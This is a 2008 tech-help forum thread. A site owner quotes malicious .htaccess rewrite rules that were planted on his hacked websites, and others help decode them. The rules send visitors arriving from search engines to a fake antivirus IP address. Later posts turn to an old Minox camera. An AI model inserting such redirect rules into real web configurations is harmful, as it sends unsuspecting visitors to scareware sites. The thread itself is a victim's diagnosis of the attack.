Simon: I swear when it's appropriate. Kaylee: Simon, the whole point of swearing is that it ain't appropriate.

'Jaynestown'


Buffistechnology 3: "Press Some Buttons, See What Happens."

Got a question about technology? Ask it here. Discussion of hardware, software, TiVos, multi-region DVDs, Windows, Macs, LINUX, hand-helds, iPods, anything tech related. Better than any helpdesk!


Jon B. - Nov 15, 2008 4:53:08 pm PST #8080 of 25501
A turkey in every toilet -- only in America!

My websites were hacked. .htaccess files were added that read:

RewriteEngine On
RewriteCond %{HTTP_REFERER} .*google.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*aol.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*msn.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*altavista.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*ask.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*yahoo.*$ [NC]
RewriteRule .* ht tp://89.28.13.202/in.html?s=ix [R,L]

The way I discovered this is that certain form POST operations would be redirected to a fake antivirus website. I've removed the .htaccess files and changed my passwords, but I've got a couple questions:

1) Could someone have hacked in without the password? I'm pretty sure the permissions were set to 644. Seems like if they had the password, way more damage would have been done.

2) What are the redirects doing? The last one is the IP address of the fake antivirus site, but what's with all the lines before that? And what do the letters in square brackets mean?

t edit I put a space in the http of the last line to prevent the buffista autolinkafication


Jon B. - Nov 15, 2008 5:05:45 pm PST #8081 of 25501
A turkey in every toilet -- only in America!

OK, did a little research and I *think* it's checking to see if the referring URL is from any of those six websites. If it is, it redirects to 89.28.13.202.

So why would it redirect users after certain POSTing of forms?


amych - Nov 15, 2008 5:11:10 pm PST #8082 of 25501
Now let us crush something soft and watch it fountain blood. That is a girlish thing to want to do, yes?

OK, did a little research and I *think* it's checking to see if the referring URL is from any of those six websites. If it is, it redirects to 89.28.13.202.

I was just doing the same research (I don't speak mod_rewrite fluently) and came to the same conclusion.

Dunno about the POST issue, though.


Jon B. - Nov 15, 2008 5:26:31 pm PST #8083 of 25501
A turkey in every toilet -- only in America!

It's a good thing it *did* redirect after those POSTS, or I might not have noticed for a good while!


Jon B. - Nov 15, 2008 5:38:05 pm PST #8084 of 25501
A turkey in every toilet -- only in America!

Got it! The referring URL has a parameter task=whatever, e.g. ht tp://mysite.com?task=edit

The condition in the fifth line is matching "ask".

Still need to figure out how they hacked the .htaccess files, but at least the smaller mystery is solved.


le nubian - Nov 16, 2008 12:06:13 pm PST #8085 of 25501
"And to be clear, I am the hell. And the high water."

folks, I *loved* this.

[link]


Tom Scola - Nov 16, 2008 12:09:50 pm PST #8086 of 25501
Remember that the frontier of the Rebellion is everywhere. And even the smallest act of insurrection pushes our lines forward.

The answer is probably on your access_log, Jon.


DCJensen - Nov 16, 2008 4:04:24 pm PST #8087 of 25501
All is well that ends in pizza.

Xposty form Bitches, but I think it's neat.

So my aunt lives in a senior's residence. They have a table for discarded things the owners don't want or if a sad passing has happened, relatives sometimes leave odds and ends there.

My cousin Steve said that his mom noted an old digital camera there and he picked it up and brought it to me because he couldn't figure out how to work it.

I took one look at it and said, "This is not a digital camera. It's a film camera." He pointed out to me something he said was a port, but I recognized as a flash port. I also decided I had seen one before. The case was leather and very old, and the camera was sleek aluminum.

We were going out and about so I took it with me to the stores, and then to lunch. after lunch I took it out and yes, there was no mistaking it as a tiny film camera. It had ASA speeds up to 400 and shutter speeds up to 1/1000. It also had a light meter, and distance markings from 8 inches to infinity.

I have subsequently ID'd it as a Minox model B, the preferred camera of spys and spy flicks for over 70 years.

I hope he lets me keep it....


dcp - Nov 16, 2008 4:08:45 pm PST #8088 of 25501
The more I learn, the more I realize how little I know.

Very neat. Can you still get film for it?


DCJensen - Nov 16, 2008 4:12:59 pm PST #8089 of 25501
All is well that ends in pizza.

Yes, so far $10 for 36 exposure cartridges. Pan or color.